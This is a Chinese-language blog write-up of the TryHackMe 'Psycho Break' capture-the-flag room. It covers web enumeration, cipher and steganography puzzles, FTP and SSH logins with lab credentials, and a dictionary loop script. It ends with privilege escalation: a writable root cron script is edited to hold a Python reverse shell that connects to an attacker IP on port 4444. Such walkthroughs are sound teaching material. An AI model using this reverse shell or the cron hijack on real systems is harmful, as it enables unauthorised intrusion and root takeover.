Psycho Break| Writeup | TryHackMe

Psycho Break| Writeup | TryHackMe

一、信息收集

  • 使用nmap扫描ip开放端口
nmap -sS -sV -A  10.10.150.108

image-20250913160328010

  • 使用dirsearch扫描网站隐藏目录
dirsearch  -u http://10.10.150.108 -w /usr/share/wordlists/dirb/common.txt -t 50

image-20250913160221179

  • 访问网站右键查看源代码发现了一个隐藏的页面/sadistRoom 看看里面有什么

image-20250913160602557

  • 恶灵附身第一关的屠夫,想当被屠夫拿电锯被追的紧迫感到现在还能想起,先不管了,看看钥匙看看

image-20250913160654813

  • 浏览器给了一个弹窗给我们
532219a04ab7a02b56faafbec1a4c1ea

image-20250913160829970

  • 点击确定后,我们会进入这个房间如果一段时间没有逃离房间会被显示塞巴斯蒂安死亡,这里点击Go to Locker Room输入上面的钥匙后就能前往更衣室

偷偷告诉你,躲在床下引诱那个屠夫过来,在他背后捅他18刀就变成绿色浓液了

image-20250913161121610

  • 这里提示我们map的access key 是需要对Tizmg_nv_zxxvhh_gl_gsv_nzk_kovzhv解码

image-20250913161900967

这个是这串是 Atbash 密码(把字母表反转)解出来是:

Grant_me_access_to_the_map_please

为什么是 Atbash?

  • 观察到像 gl 这类短词,很可能是 to/of/is 之类常见短词;
  • 字母间的关系看上去像字母表对称(A↔Z, B↔Y …),这就是 Atbash 的特征。
  • 进入map.php 这输入我们刚刚解码的key

image-20250913170855270

  • 然后给我们列出来刚刚我们进入的房间列表,前面两个进去过了,现在去第三个房间里面看看有什么

image-20250913171015157

  • 这里是塞巴斯蒂安的安全屋

image-20250913174124574

  • 我们查看右键源代码这里提示了一段文字我觉得我正在做一个可怕的噩梦。搜寻我的内心,找到它。....E 不知道什么意思

image-20250913174209646

  • 然后我翻了一下css文件,在这里我发现了一个加密的base64代码里面写着background 这里应该就是安全屋里面的那些图片了

image-20250913174454081

  • 下载到本地发现这些图片全是加密过的,我又回去看了一下那个提示的英文,将他丢到了翻译软件里面

我觉得我正在做一个可怕的噩梦。搜索我,找到它……

这里告诉我 搜索我,不是搜索内心,原来是提示我们进行目录扫描

使用dirsearch对这个url进行目录扫描,但是我使用了好几个字典都没有爆破出来字典,看了一下wp结果那个目录的名字叫做keeper,我们接下来去访问一下

image-20250913193250912

  • 点击按钮后有来到了一个房间,

image-20250913193342467

  • 右键查看源代码,说要找到这个得去谷歌上面

image-20250913193450251

在谷歌上面找了发现了,输入完成后拿到了key

St. Augustine Lighthouse

image-20250913193618431

48ee41458eb0b43bf82b986cecf3af01
  • 再次回到map.php进入废弃的房间

image-20250913193841163

  • 告诉我们输入守门人的key,点击Go Futher

image-20250913193929490

  • 到了一个房间,右键查看源代码

image-20250913193954866

  • 提示我们页面上面有个叫shell的东西能帮我离开这里

image-20250913194031920

  • 很显然是个命令执行

image-20250913194140577

  • 这里本来想反弹shell的但是命令给禁止了,通过ls ..我们看到了上机目录 然后里面给了类似路径的东西

image-20250913194710337

  • 将路径名替换看看

image-20250913194810337

  • 有一个文件和zip包

二、帮帮我

查看了那个文本文件里面没什么东西,重点看看那个zip包 下载到本地 解压

image-20250913195309128

  • 看一下文件大致意思是

来自 Joseph 的信息:

谁看到这个消息 "HELP Me" 的人,请注意。Ruvik 把我关在这个房间里。钥匙在桌子上,用它把我关的房间打开。我出来之后会告诉你发生了什么。

桌子上的钥匙,刚好解压出来有个table.jpg图片,我们使用binwakl对图片进行查看

image-20250913200229876

  • 这图片里面还有一个图片和一个key,将图片重名,解压拿到里面的东西

image-20250913201048896

这个音频是个摩斯密码https://morsecode.world/international/decoder/audio-decoder-adaptive.html

解答出来是 SHOWME

image-20250913201748247

  • 使用命令提取图片里面的信息
steghide extract -sf Joseph_Oda.jpg -p SHOWME 

image-20250913203939886

  • 里面有ftp的账号密码
SER : joseph                           
PASSWORD : intotheterror445  

image-20250913204018436

三、把他打开

使用ftp连接 下载里面的文件

image-20250913204359377

给这个program程序添加执行权限然后运行,提示我们要输入单词 在随便输入了一个单词后 失败 这里应该是要输入特定的单词 我们看看另外一个文件

image-20250913204618058

这个random.dic想一个字典文件

image-20250913204709433

在网上找了一个python脚本运行此文件

cat > hack.py <<'PY'
#!/usr/bin/env python3
import subprocess
import sys
import os

if not os.path.exists("random.dic"):
    print("random.dic not found", file=sys.stderr)
    sys.exit(1)

with open("random.dic", "r", encoding="utf-8", errors="ignore") as f:
    for line in f:
        key = line.rstrip("\r\n")
        if not key:
            continue
        print(key)
        subprocess.run(["./program", key])
PY

chmod +x hack.py
python3 ./hack.py

image-20250913205206128

没看懂这个解码后的密码·是什么拿去ai问了一下说是手机多次按键(multi-tap / T9 的按键输入) 编码。把每组相同数字按键映射回字母后 是我过时了

KIDMAN'S PASSWORD IS SO STRANGE

(也可以写成无标点的 KIDMANSPASSWORDISSOSTRANGE

这个大写的因为字母说 kidman的密码太奇怪了 尝试登录一下ssh 用kidman做用户名用KIDMANSPASSWORDISSOSTRANGE作为密码

image-20250913210040228

成功登录

image-20250913210147039

四、前往捕获旗帜

尝试sudo -l 报错不允许以 sudo 运行任何命令 看看计划任务有什么

image-20250913212202518

在这里我们可以看到有一个 Python 脚本正在运行,该脚本存储在 /var/.the_eye_of_ruvik.py。我们可以检查是否可以编辑此文件,如果可以,我们可以修改它并为我们所用

image-20250913212243436

我们在脚本里面添加上我们的反弹shell的命令

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.17.35.134",4444));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

然后新建终端监听4444端口即可拿到shell

image-20250913212840753

奖励任务是删除用户 ruvik

image-20250913213024728

posted @ 2025-09-13 21:32  0xMouise  阅读(11)  评论(0)    收藏  举报